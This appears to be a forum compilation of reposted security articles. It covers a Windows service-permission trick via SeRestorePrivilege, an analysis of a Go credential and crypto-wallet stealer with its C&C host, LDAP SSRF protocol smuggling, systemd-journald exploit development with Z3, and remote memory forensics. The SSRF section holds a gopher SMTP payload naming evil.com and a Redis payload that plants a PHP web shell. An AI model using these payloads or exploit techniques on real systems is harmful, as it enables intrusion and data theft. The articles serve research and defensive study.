Nytro

Posted on February 7, 2019 Demystifying Windows Service “permissions” configuration Some days ago, I was reflecting on the SeRestorePrivilege and wondering if a user with this privilege could alter a Service Access, for example: grant to everyone the right to stop/start the service, during a “restore” task. (don’t expect some cool bypass or exploit here) As you probably know, each object in Windows has DACL’s & SACL’s which can be configured. The most “intuitive” are obviously files and folder permissions but there are a plenty of other securable objects https://docs.microsoft.com/en-us/windows/desktop/secauthz/securable-objects Given that our goal is Service permissions, first we will try to understand how they work and how we can manipulate them. Service security can be split into 2 parts: Access Rights for the Service Control Manager Access Rights for a Service We will focus on Access Rights for the service, which means who can start/stop/pause service and so on. For detailed explanation take a look at this article from Microsoft: https://docs.microsoft.com/it-it/windows/desktop/Services/service-security-and-access-rights How can we change the service security settings? Configuring Service Security and Access Rights is not so an immediate task like, for example, changing DACL’s of file or folder objects. Keep also in mind that it is limited only to privileged users like Administrators and SYSTEM account. There are some built-in and third party tools which permits changing the DACL’s of a service, for example: Windows “sc.exe”. This program has a lot of options and with “sdset” it is possible to modifiy the security setting of a service, but you have to specify it in the cryptic SDDL (Security Description Definition Language). The opposite command “sdshow” will list the SDDL: Note that interactive user (IU) cannot start or stop the BITS service because the necessary rights (RP,WP) are missing. I’m not going to explain in deep this stuff, if interested look here: https://support.microsoft.com/en-us/help/914392/best-practices-and-guidance-for-writers-of-service-discretionary-acces subinacl.exe from Windows Resource Kit. This one is much more easier to use. In this example we will grant to everyone the right to start the BITS (Backgound intelligent transfer service) Service Security Editor , a free GUI Utility to set permissions for any Windows Service: And of course, via Group Policy, powershell, etc.. All these tools and utilities relies on this Windows API call, accessible only to high privileged users: BOOL SetServiceObjectSecurity( SC_HANDLE hService, SECURITY_INFORMATION dwSecurityInformation, PSECURITY_DESCRIPTOR lpSecurityDescriptor ); Where are the service security settings stored? Good question! First of all, we have to keep in mind that services have a “default” configuration: Administrators have full control, standard users can only interrogate the service, etc.. Services with non default configuration have their settings stored in the registry under this subkey: HKLM\System\CurrentControlSet\Services\<servicename>\security This subkey hosts a REG_BINARY key which is the binary value of the security settings: These “non default” registry settings are read when the Service Control Manager starts (upon boot) and stored in memory. If we change the service security settings with one of the tools we mentioned before, changes are immediately applied and stored in memory. During the shutdown process, the new registry values are written. And the Restore Privilege? You got it! With the SeRestorePrivilege, even if we cannot use the SetServiceObjectSecurity API call, we can restore registry keys, including the security subkey… Let’s make an example: we want to grant to everyone full control over BITS service On our Windows test machine, we just modify the settings with one of the tools: After that, we restart our box and copy the new binary value of the security key: Now that we have the right values, we just need to “restore” the security key with these. For this purpose we are going to use a small “C” program, here the relevant part: byte data[] = { 0x01, 0x00, 0x14, 0x80, 0xa4, 0x00, 0x00, 0x00, 0xb4, 0x00, 0x00, 0x00, 0x14, 0x00, 0x00, 0x00, 0x34, 0x00, 0x00, 0x00, 0x02, 0x00, 0x20, 0x00, 0x01, 0x00, 0x00, 0x00, 0x02, 0xc0, 0x18, 0x00, 0x00, 0x00, 0x0c, 0x00, 0x01, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x05, 0x20, 0x00, 0x00, 0x00, 0x20, 0x02, 0x00, 0x00, 0x02, 0x00, 0x70, 0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x02, 0x14, 0x00, 0xff, 0x01, 0x0f, 0x00, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x05, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x18, 0x00, 0xff, 0x01, 0x0f, 0x00, 0x01, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x05, 0x20, 0x00, 0x00, 0x00, 0x20, 0x02, 0x00, 0x00, 0x00, 0x00, 0x14, 0x00, 0xff, 0x01, 0x0f, 0x00, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x14, 0x00, 0x8d, 0x01, 0x02, 0x00, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x05, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x14, 0x00, 0x8d, 0x01, 0x02, 0x00, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x05, 0x06, 0x00, 0x00, 0x00, 0x01, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x05, 0x20, 0x00, 0x00, 0x00, 0x20, 0x02, 0x00, 0x00, 0x01, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x05, 0x20, 0x00, 0x00, 0x00, 0x20, 0x02, 0x00, 0x00 }; LSTATUS stat = RegCreateKeyExA(HKEY_LOCAL_MACHINE, "SYSTEM\\CurrentControlSet\\Services\\BITS\\Security", 0, NULL, REG_OPTION_BACKUP_RESTORE, KEY_SET_VALUE, NULL, &hk, NULL); stat = RegSetValueExA(hk, "security", 0, REG_BINARY, (const BYTE*)data,sizeof(data)); if (stat != ERROR_SUCCESS) { printf("[-] Failed writing!", stat); exit(EXIT_FAILURE); } printf("Setting registry OK\n"); We need of course to enable the SE_RESTORE_NAME privilege before in our process token. In an elevated shell, we execute the binary on the victim machine: and after the reboot we are able to start BITS even with a low privileged user: And the Take Onwer Privilege? The concept is the same, we need to take the ownership of the registry key before, grant the necessary access rights (SetNamedSecuityInfo() API calls) on the key and then do the same trick we have seen before. But wait, one moment! What if we take the onwersip of the service? dwRes = SetNamedSecurityInfoW( pszService, SE_SERVICE, OWNER_SECURITY_INFORMATION, takeownerboss_sid, NULL, NULL, NULL); Yes, this works, but when we set the permissions on the object (again with SetNamedSecurityInfo) we get an error. If we do this with admin rights, it works… Probably the function will call the underlying SetServiceObjectSecurity which modifies the permissions of the service stored “in memory” and this is precluded to non admins. Final thoughts So we were able to change the Service Access Rights with our “restoreboss” user. Nothing really useful i think, but sometimes it’s just fun to try to understand some parts of the Windows internal mechanism, do you agree? Sursa: https://decoder.cloud/2019/02/07/demystifying-windows-service-permissions-configuration/

Analyzing a new stealer written in Golang Posted: January 30, 2019 by hasherezade Golang (Go) is a relatively new programming language, and it is not common to find malware written in it. However, new variants written in Go are slowly emerging, presenting a challenge to malware analysts. Applications written in this language are bulky and look much different under a debugger from those that are compiled in other languages, such as C/C++. Recently, a new variant of Zebocry malware was observed that was written in Go (detailed analysis available here). We captured another type of malware written in Go in our lab. This time, it was a pretty simple stealer detected by Malwarebytes as Trojan.CryptoStealer.Go. This post will provide detail on its functionality, but also show methods and tools that can be applied to analyze other malware written in Go. Analyzed sample This stealer is detected by Malwarebytes as Trojan.CryptoStealer.Go: 992ed9c632eb43399a32e13b9f19b769c73d07002d16821dde07daa231109432 513224149cd6f619ddeec7e0c00f81b55210140707d78d0e8482b38b9297fc8f 941330c6be0af1eb94741804ffa3522a68265f9ff6c8fd6bcf1efb063cb61196 – HyperCheats.rar (original package) 3fcd17aa60f1a70ba53fa89860da3371a1f8de862855b4d1e5d0eb8411e19adf – HyperCheats.exe (UPX packed) 0bf24e0bc69f310c0119fc199c8938773cdede9d1ca6ba7ac7fea5c863e0f099 – unpacked Behavioral analysis Under the hood, Golang calls WindowsAPI, and we can trace the calls using typical tools, for example, PIN tracers. We see that the malware searches files under following paths: "C:\Users\tester\AppData\Local\Uran\User Data\" "C:\Users\tester\AppData\Local\Amigo\User\User Data\" "C:\Users\tester\AppData\Local\Torch\User Data\" "C:\Users\tester\AppData\Local\Chromium\User Data\" "C:\Users\tester\AppData\Local\Nichrome\User Data\" "C:\Users\tester\AppData\Local\Google\Chrome\User Data\" "C:\Users\tester\AppData\Local\360Browser\Browser\User Data\" "C:\Users\tester\AppData\Local\Maxthon3\User Data\" "C:\Users\tester\AppData\Local\Comodo\User Data\" "C:\Users\tester\AppData\Local\CocCoc\Browser\User Data\" "C:\Users\tester\AppData\Local\Vivaldi\User Data\" "C:\Users\tester\AppData\Roaming\Opera Software\" "C:\Users\tester\AppData\Local\Kometa\User Data\" "C:\Users\tester\AppData\Local\Comodo\Dragon\User Data\" "C:\Users\tester\AppData\Local\Sputnik\Sputnik\User Data\" "C:\Users\tester\AppData\Local\Google (x86)\Chrome\User Data\" "C:\Users\tester\AppData\Local\Orbitum\User Data\" "C:\Users\tester\AppData\Local\Yandex\YandexBrowser\User Data\" "C:\Users\tester\AppData\Local\K-Melon\User Data\" Those paths point to data stored from browsers. One interesting fact is that one of the paths points to the Yandex browser, which is popular mainly in Russia. The next searched path is for the desktop: "C:\Users\tester\Desktop\*" All files found there are copied to a folder created in %APPDATA%: The folder “Desktop” contains all the TXT files copied from the Desktop and its sub-folders. Example from our test machine: After the search is completed, the files are zipped: We can see this packet being sent to the C&C (cu23880.tmweb.ru/landing.php): Inside Golang compiled binaries are usually big, so it’s no surprise that the sample has been packed with UPX to minimize its size. We can unpack it easily with the standard UPX. As a result, we get plain Go binary. The export table reveals the compilation path and some other interesting functions: Looking at those exports, we can get an idea of the static libraries used inside. Many of those functions (trampoline-related) can be found in the module sqlite-3: https://github.com/mattn/go-sqlite3/blob/master/callback.go. Function crosscall2 comes from the Go runtime, and it is related to calling Go from C/C++ applications (https://golang.org/src/cmd/cgo/out.go). Tools For the analysis, I used IDA Pro along with the scripts IDAGolangHelper written by George Zaytsev. First, the Go executable has to be loaded into IDA. Then, we can run the script from the menu (File –> script file). We then see the following menu, giving access to particular features: First, we need to determine the Golang version (the script offers some helpful heuristics). In this case, it will be Go 1.2. Then, we can rename functions and add standard Go types. After completing those operations, the code looks much more readable. Below, you can see the view of the functions before and after using the scripts. Before (only the exported functions are named): After (most of the functions have their names automatically resolved and added): Many of those functions comes from statically-linked libraries. So, we need to focus primarily on functions annotated as main_* – that are specific to the particular executable. Code overview In the function “main_init”, we can see the modules that will be used in the application: It is statically linked with the following modules: GRequests (https://github.com/levigross/grequests) go-sqlite3 (https://github.com/mattn/go-sqlite3) try (https://github.com/manucorporat/try) Analyzing this function can help us predict the functionality; i.e. looking the above libraries, we can see that they will be communicating over the network, reading SQLite3 databases, and throwing exceptions. Other initializers suggests using regular expressions, zip format, and reading environmental variables. This function is also responsible for initializing and mapping strings. We can see that some of them are first base64 decoded: In string initializes, we see references to cryptocurrency wallets. Ethereum: Monero: The main function of Golang binary is annotated “main_main”. Here, we can see that the application is creating a new directory (using a function os.Mkdir). This is the directory where the found files will be copied. After that, there are several Goroutines that have started using runtime.newproc. (Goroutines can be used similarly as threads, but they are managed differently. More details can be found here). Those routines are responsible for searching for the files. Meanwhile, the Sqlite module is used to parse the databases in order to steal data. Then, the malware zips it all into one package, and finally, the package is uploaded to the C&C. What was stolen? To see what exactly which data the attacker is interested in, we can see look more closely at the functions that are performing SQL queries, and see the related strings. Strings in Golang are stored in bulk, in concatenated form: Later, a single chunk from such bulk is retrieved on demand. Therefore, seeing from which place in the code each string was referenced is not-so-easy. Below is a fragment in the code where an “sqlite3” database is opened (a string of the length 7 was retrieved): Another example: This query was retrieved from the full chunk of strings, by given offset and length: Let’s take a look at which data those queries were trying to fetch. Fetching the strings referenced by the calls, we can retrieve and list all of them: select name_on_card, expiration_month, expiration_year, card_number_encrypted, billing_address_id FROM credit_cards select * FROM autofill_profiles select email FROM autofill_profile_emails select number FROM autofill_profile_phone select first_name, middle_name, last_name, full_name FROM autofill_profile_names We can see that the browser’s cookie database is queried in search data related to online transactions: credit card numbers, expiration dates, as well as personal data such as names and email addresses. The paths to all the files being searched are stored as base64 strings. Many of them are related to cryptocurrency wallets, but we can also find references to the Telegram messenger. Software\\Classes\\tdesktop.tg\\shell\\open\\command \\AppData\\Local\\Yandex\\YandexBrowser\\User Data\\ \\AppData\\Roaming\\Electrum\\wallets\\default_wallet \\AppData\\Local\\Torch\\User Data\\ \\AppData\\Local\\Uran\\User Data\\ \\AppData\\Roaming\\Opera Software\\ \\AppData\\Local\\Comodo\\User Data\\ \\AppData\\Local\\Chromium\\User Data\\ \\AppData\\Local\\Chromodo\\User Data\\ \\AppData\\Local\\Kometa\\User Data\\ \\AppData\\Local\\K-Melon\\User Data\\ \\AppData\\Local\\Orbitum\\User Data\\ \\AppData\\Local\\Maxthon3\\User Data\\ \\AppData\\Local\\Nichrome\\User Data\\ \\AppData\\Local\\Vivaldi\\User Data\\ \\AppData\\Roaming\\BBQCoin\\wallet.dat \\AppData\\Roaming\\Bitcoin\\wallet.dat \\AppData\\Roaming\\Ethereum\\keystore \\AppData\\Roaming\\Exodus\\seed.seco \\AppData\\Roaming\\Franko\\wallet.dat \\AppData\\Roaming\\IOCoin\\wallet.dat \\AppData\\Roaming\\Ixcoin\\wallet.dat \\AppData\\Roaming\\Mincoin\\wallet.dat \\AppData\\Roaming\\YACoin\\wallet.dat \\AppData\\Roaming\\Zcash\\wallet.dat \\AppData\\Roaming\\devcoin\\wallet.dat Big but unsophisticated malware Some of the concepts used in this malware remind us of other stealers, such as Evrial, PredatorTheThief, and Vidar. It has similar targets and also sends the stolen data as a ZIP file to the C&C. However, there is no proof that the author of this stealer is somehow linked with those cases. When we take a look at the implementation as well as the functionality of this malware, it’s rather simple. Its big size comes from many statically-compiled modules. Possibly, this malware is in the early stages of development— its author may have just started learning Go and is experimenting. We will be keeping eye on its development. At first, analyzing a Golang-compiled application might feel overwhelming, because of its huge codebase and unfamiliar structure. But with the help of proper tools, security researchers can easily navigate this labyrinth, as all the functions are labeled. Since Golang is a relatively new programming language, we can expect that the tools to analyze it will mature with time. Is malware written in Go an emerging trend in threat development? It’s a little too soon to tell. But we do know that awareness of malware written in new languages is important for our community. Sursa: https://blog.malwarebytes.com/threat-analysis/2019/01/analyzing-new-stealer-written-golang/

SSRF Protocol Smuggling in Plaintext Credential Handlers : LDAP SSRF protocol smuggling involves an attacker injecting one TCP protocol into a dissimilar TCP protocol. A classic example is using gopher (i.e. the first protocol) to smuggle SMTP (i.e. the second protocol): 1 gopher://127.0.0.1:25/%0D%0AHELO%20localhost%0D%0AMAIL%20FROM%3Abadguy@evil.com%0D%0ARCPT%20TO%3Avictim@site.com%0D%0ADATA%0D%0A .... The keypoint above is the use of the CRLF character (i.e. %0D%0A) which breaks up the commands of the second protocol. This attack is only possible with the ability to inject CRLF characters into a protocol. Almost all LDAP client libraries support plaintext authentication or a non-ssl simple bind. For example, the following is an LDAP authentication example using Python 2.7 and the python-ldap library: 1 2 3 import ldap conn = ldap.initialize("ldap://[SERVER]:[PORT]") conn.simple_bind_s("[USERNAME]", "[PASSWORD]") In many LDAP client libraries it is possible to insert a CRLF inside the username or password field. Because LDAP is a rather plain TCP protocol this makes it immediately of note. 1 2 3 import ldap conn = ldap.initialize("ldap://0:9000") conn.simple_bind_s("1\n2\n\3\n", "4\n5\n6---") You can see the CRLF characters are sent in the request: 1 2 3 4 5 6 7 8 9 # nc -lvp 9000 listening on [::]:9000 ... connect to [::ffff:127.0.0.1]:9000 from localhost:39250 ([::ffff:127.0.0.1]:39250) 0`1 2 3 4 5 6--- Real World Example Imagine the case where the user can control the server and the port. This is very common in LDAP configuration settings. For example, there are many web applications that support LDAP configuration as a feature. Some common examples are embedded devices (e.g. webcam, routers), Multi-Function Printers, multi-tenancy environments, and enterprise appliances and applications. Putting It All Together If a user can control the server/port and CRLF can be injected into the username or password, this becomes an interesting SSRF protocol smuggle. For example, here is a Redis Remote Code Execution payload smuggled completely inside the password field of the LDAP authentication in a PHP application. In this case the web root is ‘/app’ and the Redis server would need to be able to write the web root: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <?php $adServer = "ldap://127.0.0.1:6379"; $ldap = ldap_connect($adServer); # RCE smuggled in the password field $password = "_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2434%0D%0A %0A%0A%3C%3Fphp%20system%28%24_GET%5B%27cmd%27%5D%29%3B%20%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A %243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%244%0D%0A/app%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A %2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A"; $ldaprdn = 'domain' . "\\" . "1\n2\n3\n"; ldap_set_option($ldap, LDAP_OPT_PROTOCOL_VERSION, 3); ldap_set_option($ldap, LDAP_OPT_REFERRALS, 0); $bind = @ldap_bind($ldap, $ldaprdn, urldecode($password)); ?> Client Libraries In my opinion, the client library is functioning correctly by allowing these characters. Rather, it’s the application’s job to filter username and password input before passing it to an LDAP client library. I tested out four LDAP libraries that are packaged with common languages all of which allow CRLF in the username or password field: Library Tested In python-ldap Python 2.7 com.sun.jndi.ldap JDK 11 php-ldap PHP 7 net-ldap Ruby 2.5.2 ——- ——– Summary Points • If you are an attacker and find an LDAP configuration page, check if the username or password field allows CRLF characters. Typically the initial test will involve sending the request to a listener that you control to verify these characters are not filtered. • If you are defender, make sure your application is filtering CRLF characters (i.e. %0D%0A) Blackhat USA 2019 @AndresRiancho and I (@0xrst) have an outstanding training coming up at Blackhat USA 2019. There are two dates available and you should join us!!! It is going to be fun. Sursa: https://www.silentrobots.com/blog/2019/02/06/ssrf-protocol-smuggling-in-plaintext-credential-handlers-ldap/

Justin Steven Publicat pe 6 feb. 2019 https://twitch.tv/justinsteven In this strewam we rework our exploit for the 64-bit split write4 binary from ROP Emporium (https://ropemporium.com/) - and in doing so we get completely nerd-sniped by a strange ret2system crash.

idenLib - Library Function Identification When analyzing malware or 3rd party software, it's challenging to identify statically linked libraries and to understand what a function from the library is doing. idenLib.exe is a tool for generating library signatures from .lib files. idenLib.dp32 is a x32dbg plugin to identify library functions. idenLib.py is an IDA Pro plugin to identify library functions. Any feedback is greatly appreciated: @_qaz_qaz How does idenLib.exe generate signatures? Parse input file(.lib file) to get a list of function addresses and function names. Get the last opcode from each instruction and generate MD5 hash from it (you can change the hashing algorithm). Save the signature under the SymEx directory, if the input filename is zlib.lib, the output will be zlib.lib.sig, if zlib.lib.sig already exists under the SymEx directory from a previous execution or from the previous version of the library, the next execution will append different signatures. If you execute idenLib.exe several times with different version of the .lib file, the .sig file will include all unique function signatures. Signature file format: hash function_name Generating library signatures x32dbg, IDAPro plugin usage: Copy SymEx directory under x32dbg/IDA Pro's main directory Apply signatures: x32dbg: IDAPro: Only x86 is supported (adding x64 should be trivial). Useful links: Detailed information about C Run-Time Libraries (CRT); Credits Disassembly powered by Zydis Icon by freepik Sursa: https://github.com/secrary/idenLib

Exploiting systemd-journald Part 2 February 6, 2019 By Nick Gregory Introduction This is the second part in a multipart series on exploiting two vulnerabilities in systemd-journald, which were published by Qualys on January 9th. In the first post, we covered how to communicate with journald, and built a simple proof-of-concept to exploit the vulnerability, using predefined constants for fixed addresses (with ASLR disabled). In this post, we explore how to compute the hash preimages necessary to write a controlled value into libc’s __free_hook as described in part one. This is an important step in bypassing ASLR, as the address of the target location to which we redirect execution (which is system in our case) will be changing between each instance of systemd-journald. Consequently, successful exploitation in the presence of ASLR requires computing a hash preimage dynamically to correspond with the respective address space of that instance of systemd-journald. How to disclose the location of system, and writing an exploit to completely bypass ASLR, are beyond the scope of this post. The Challenge As noted in the first blog post, we don’t directly control the data written to the stack after it has been lowered into libc’s memory – the actual values written are the result of hashing our journal entries with jenkins_hashlittle2. Since this is a function pointer we’re overwriting, we must have full 64 bit control of the hash output which can seem like a very daunting task at first, and would indeed be impractical if a cryptographically secure hash was used. However jenkins_hashlittle2 is not cryptographically secure, and we can use this property to generate preimages for any 64 bit output in just a few seconds. The Solution We can use a tool like Z3 to build a mathematical definition of the hash function and automatically generate an input which satisfies certain constraints (like the output being the address of system, and the input being constrained to valid entry format). Z3 Z3 is a theorem prover which gives us the ability to (among other things) easily model and solve logical constraints. Let’s take a look at how to use it by going through an example in the Z3 repo. In this example, we want to find if there exists an assignment for variables x and y so that the following conditions hold: x + y > 5 x > 1 y > 1 It is clear that more than one solutions exist to satisfy the above set of constraints. Z3 will inform us if the set constraints has a solution (is satisfiable), as well as provide us with one assignment to our variables that demonstrates satisfiability. Let’s see how Z3 can do so: from z3 import * x = Real('x') y = Real('y') s = Solver() s.add(x + y > 5, x > 1, y > 1) print(s.check()) print(s.model()) This simple example shows how to create variables (e.g. Real('x')), add the constraints that x + y > 5, x > 1, and y > 1 (s.add(x + y > 5, x > 1, y > 1)), check if the given state is satisfiable (i.e. there are values for x and y that satisfy all constraints), and get a set of values for x and y that satisfy the constraints. As expected, running this example yields: sat [y = 4, x = 2] meaning that the stated formula is satisfiable, and that y=4, x=2 is a solution that satisfies the equation. BitVectors Not only can Z3 represent arbitrary real numbers, but it can also represent fixed-width integers called BitVectors. We can use these to model some more interesting elements of low-level computing like integer wraparound: from z3 import * x = BitVec('x', 32) # Create a 32-bit wide variable, x y = BitVec('y', 32) s = Solver() s.add(x > 0, y > 0, x+y < 0) # Constrain x and y to be positive, but their sum to be negative print(s.check()) print(s.model()) A few small notes here: Adding two BitVecs of a certain size yields another BitVec of the same size Comparisons made by using < and > in Python result in signed comparisons being added to the solver constraints. Unsigned comparisons can be made using Z3-provided functions. And as we’d expect, sat [b = 2147451006, a = 2147451006] BitVecs give us a very nice way to represent the primitive C types, such as the ones we will need to model the hash function in order to create our preimages. Transformations Being able to solve simple equations is great, but in general we will want to reason on more complex operations involving variables. Z3’s Python bindings allow us to do this in an intuitive way. For instance (drawing from this Wikipedia example), if we wanted to find a fixed point in the equation f(x) = x2-3x+4, we can simply write: def f(x): return x**2 - 3*x + 4 x = Real('x') s = Solver() s.add(f(x) == x) s.check() s.model() This yields an expected result: sat x = 2 Lastly, it’s worth noting that Z3’s Python bindings provide pretty-printing for expressions. So if we print out f(x) in the above example, we get a nicely formatted representation of what f(x) is symbolically: x**2 - 3*x + 4 This just scratches the surface of what you can do with Z3, but it’s enough for us to begin using Z3 to model jenkins_hashlittle2, and create preimages for it. Modeling The Hash Function Input As noted above, all BitVectors in Z3 have a fixed size, and this is where we run into our first issue. Our hash function, jenkins_hashlittle2, takes a variable length array of input which can’t be modeled with a fixed length BitVec. So we first need to decide how long our input is going to be. Looking through the hash function’s source, we see that it chunks its input into 3 uint32_ts at a time, and operates on those. If this is a hash function that uniformly distributes its output, those 12 bytes of input should be enough to cover the 8 byte output space (i.e. all possible 8 byte outputs should be generated by one or more 12 byte input), so we should be able to use 12 bytes as our input length. This also has the benefit of never calling the hash’s internal state mixing function, which greatly reduces the complexity of the equations. length = 12 target = 0x7ffff7a33440 # The address of system() on our ASLR-disabled system s = Solver() key = BitVec('key', 8*length) Input Constraints Our input (key) has to satisfy several constraints. Namely, it must be a valid journald native entry. As we saw in part one, this means it should resemble “ENTRY_NAME=ENTRY_VALUE”. However there are some constraints on ENTRY_NAME that we must be taken into account (as checked by the journal_field_valid function): the name must be less than 64 characters, must start with [A-Z], and must only contain [A-Z0-9_]. The ENTRY_VALUE has no constraints besides not containing a newline character, however. To minimize the total number of constraints Z3 has to solve for, we chose to hard-code the entry format in our model as one uppercase character for the entry name, an equals sign, and then 10 ASCII-printable characters above the control character range for the entry value. To specify this in Z3, we will use the Extract function, which allows us to select slices of a BitVector, such that we can apply constraints to that slice. Extract takes three arguments: bit length, starting offset, and BitVector. char = Extract(7, 0, key) s.add(char >= ord('A'), char <= ord('Z')) # First character must be uppercase char = Extract(15, 8, key) s.add(char == ord('=')) # Second character must be ‘=’ for char_offset in range(16, 8*length, 8): char = Extract(char_offset + 7, char_offset, key) s.add(char >= 0x20, char <= 0x7e) # Subsequent characters must just be in the printable range Note: Z3’s Extract function is very un-Pythonic. It takes the high bit first (inclusive), then the low bit (inclusive), then the source BitVec to extract from. So Extract(7, 0, key) extracts the first byte from key. The Function Itself Now that we have our input created and constrained, we can model the function itself. First, we create our Z3 instance of the internal state variables uint32_t a, b, c using the BitVecVal class (which is just a way of creating a BitVec of the specified length with a predetermined value). The predetermined value is the same as in the hashing function, which is the constant 0xdeadbeef plus the length: initial_vaue = 0xdeadbeef + length a = BitVecVal(initial_value, 32) b = BitVecVal(initial_value, 32) c = BitVecVal(initial_value, 32) Note: The *pc component of the initialization will always be 0, as it’s initialized to 0 in the hash64() function, which is what’s actually called on our input. We can ignore the alignment checks the hash function does (as we aren’t actually dereferencing anything in Z3). We can also skip past the while (length > 12) loop, and start in the case 12 as our length is hard-coded to be 12. Thus the first bit of code we need to implement is from inside the switch block on the length, at case 12, which adds the three parts of the key to a, b, and ? a += Extract(31, 0, key) b += Extract(63, 32, key) c += Extract(95, 64, key) Since key is just an vector of bits from the perspective of Z3, in the above code we just Extract the first, second, and third uint32_t – there’s no typecasting to do. Following the C source, we next need to implement the final macro, which does the final state mixing to produce the hash output. Looking at the source, it uses another macro (rot), but this is just a simple rotate left operation. Z3 has rotate left as a primitive function, so we can make our lives easy by adding an import to our Python: from z3 import RotateLeft as rot And then we can simply paste in the macro definition verbatim (well, minus the line-continuation characters): c ^= b; c -= rot(b, 14) a ^= c; a -= rot(c, 11) b ^= a; b -= rot(a, 25) c ^= b; c -= rot(b, 16) a ^= c; a -= rot(c, 4) b ^= a; b -= rot(a, 14) c ^= b; c -= rot(b, 24) At this point, the variables a, b, and c contain equations which represent their state when the hash function is about to return. From the source, hash64() combines the b and c out arguments to produce the final 64-bit hash. So we can simply add constraints to our model to denote that b and c are equal to their respective halves of the 64-bit output we want: s.add(b == (target & 0xffffffff)) s.add(c == (target >> 32)) All that’s left at this point is to check the state for satisfiability: s.check() Get our actual preimage value from the model: preimage = s.model()[key].as_long() And transform it into a string: input_str = preimage.to_bytes(12, byteorder='little').decode('ascii') With that, our exploit from part 1 is now fully explained, and can be used on any system where the addresses of libc and the stack are constant (i.e. systems which have ASLR disabled). Conclusion Z3 is a very powerful toolkit that can be used to solve a number of problems in exploit development. This blog post has only scratched the surface of its capabilities, but as we’ve seen, even basic Z3 operations can be used to trivially solve complex problems. Read Part One of this series Sursa: https://capsule8.com/blog/exploiting-systemd-journald-part-2/

Wednesday, February 6, 2019 Remote LIVE Memory Analysis with The Memory Process File System v2.0 This blog entry aims to give an introduction to The Memory Process File System and show how easy it is to do high-performant memory analysis even from live remote systems over the network. This and much more is presented in my BlueHatIL 2019 talk on February 6th. Connect to a remote system over the network over a kerberos secured connection. Acquire only the live memory you require to do your analysis/forensics - even over medium latency/bandwidth connections. An easy to understand file system user interface combined with continuous background refreshes, made possible by the multi-threaded analysis core, provides an interesting new different way of performing incident response by live memory analysis. Analyzing and Dumping remote live memory with the Memory Process File System. The image above shows the user staring MemProcFS.exe with a connection to the remote computer book-test.ad.frizk.net and with the DumpIt live memory acquisition method. it is then possible to analyze live memory simply by clicking around in the file system. Dumping the physical memory is done by copying the pmem file in the root folder. Background The Memory Process File System was released for PCILeech in March 2018, supporting 64-bit Windows, and was used to find the Total Meltdown / CVE-2018-1038 page table permission bit vulnerability in the Windows 7 kernel. People have also used it to cheat in games - primarily cs:go using it via the PCILeech API. The Memory Process File System was released as a stand-alone project focusing exclusively on memory analysis in November 2018. The initial release included both APIs and Plugins for C/C++ and a Python. Support was added soon thereafter for 32-bit memory models and Windows support was expanded as far back as Windows XP. What is new? Version 2.0 of The Memory Process File System marks a major release that was released in conjunction with the BlueHatIL 2019 talk Practical Uses for Hardware-assisted Memory Visualization. New functionality includes: A new separate physical memory acquisition library - the LeechCore. Live memory acquisition with DumpIt or WinPMEM. Remote memory capture via a remotely running LeechService. Support from Microsoft Crash Dumps and Hyper-V save files. Full multi-threaded support in the memory analysis library. Major performance optimizations. The combination live memory capture via Comae DumpIt, or the less stable WinPMEM, and secure remote access may be interesting both for convenience and incident-response. It even works remarkably well over medium latency- and bandwidth connections. The LeechCore library The LeechCore library, focusing exclusively on memory acquisition, is released as a standalone open source project as a part of The Memory Process File System v2 release. The LeechCore library abstracts memory acquisition from analysis and makes things more modular and easier to re-use. The library supports multiple memory acquisition methods - such as: Hardware: USB3380, PCILeech FPGA and iLO Live memory: Comae DumpIt and WinPMEM Dump files: raw memory dump files, full crash dump files and Hyper-V save files. The LeechCore library also allows for transparently connecting to a remote LeechService running on a remote system over a compressed mutually authenticated RPC connection secured by Kerberos. Once connected any of the supported memory acquisition methods may be used. The LeechService The LeechService may be installed as a service with the command LeechSvc.exe install. Make sure all necessary dependencies are in the folder of leechsvc.exe - i.e. leechcore.dll and winpmem_x64.sys (if using winpmem). The LeechService will write an entry, containing the kerberos SPN to the application event log once started provided that the computer is a part of an Active Directory domain. The LeechService is installed and started with the Kerberos SPN: book-test$@AD.FRIZK.NET Now connect to the remote LeechService with The Memory Process File System - provided that the port 28473 is open in the firewall. The connecting user must be an administrator on the system being analyzed. An event will also be logged for each successful connection. In the example below winpmem is used. Note that winpmem may unstable on recent Windows 10 systems. Securely connected to the remote system - acquiring and analyzing live memory. It's also possible to start the LeechService in interactive mode. If starting it in interactive mode it can be started with DumpIt to provide more stable memory acquisition. It may also be started in insecure no-security mode - which may be useful if the computer is not joined to an Active Directory domain. Using DumpIt to start the LeechSvc in interactive insecure mode. If started in insecure mode everyone with access to port 28473 will be able to connect and capture live memory. No logs will be written. The insecure mode is not available in service mode. It is only recommended in secure environments in which the target computer is not domain joined. Please also note that it is also possible to start the LeechService in interactive secure mode. To connect to the example system from a remote system specify: MemProcFS.exe -device dumpit -remote rpc://insecure:<address_of_remote_system> How do I try it out? Yes! - both the Memory Process File System and the LeechService is 100% open source. Download The Memory Process File System from Github - pre-built binaries are found in the files folder. Also, follow the instructions to install the open source Dokany file system. Download the LeechService from Github - pre-built binaries with no external dependencies are found in the files folder. Please also note that you may have to download Comae DumpIt or WinPMEM (latest release, install and copy .sys driver file) to acquire live memory. The Future Please do keep in mind that this is a hobby project. Since I'm not working professionally with this future updates may take time and are also not guaranteed. The Memory Process 